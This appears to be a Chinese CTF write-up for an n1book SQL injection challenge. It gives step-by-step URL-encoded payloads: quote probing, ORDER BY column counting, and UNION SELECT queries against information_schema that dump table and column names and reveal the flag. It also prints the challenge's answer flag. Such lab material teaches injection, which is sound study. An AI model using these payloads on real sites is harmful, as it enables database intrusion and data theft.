文章目录
又是一个小小的分享,display()
进入页面后使用最经典的单引号判断法返回与id=1时不同的错误信息,便可以得知此题存在sql注入
然后通过如下操作可判断其是个字符型注入
此处的判断对于此题有点冗余,两种注入的差别并不大
id=1%27%20and%201=1%20%23
id=1%27%20and%201=2%20%23
第一个返回正确信息,第二个出现错误信息note
开始进行注入
get基于报错的注入,首先通过order by判断字段名
id=1%27%20order%20by%204%20--+%20qwer
id=1%27%20order%20by%203%20--+%20qwer
3时返回正确信息,即可得出字段名为3
利用union select 联合查询,查询字段
id=0%27%20union%20select%201,2,3%20--+
这里注意单引号前闭合的是一个不返回正确信息的数字
因为在后台sql中为
select * from *** where id = 1
被闭合,显然是永真的,会一直返回正确信息,无法执行后续sql语句
确定好位置后,利用union select 联合查询,获取数据库名
id=0%27%20union%20select%201,database(),3%20--+qwer
得到数据库名后进行爆表,得到表名
id=0%27%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=%27note%27%20--+%20qwer
得到表名后进行爆列
id=0%27%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_name=%27fl4g%27%20--+%20qwer
爆列完成后查看记录
id=0%27%20union%20select%201,group_concat(fllllag%20),3%20from%20fl4g%20--+%20qwer
即可得出flag
n1book{union_select_is_so_cool}
最后再插入一个MySql数据库元信息,让大家明白这个联合查询中不断向下的原理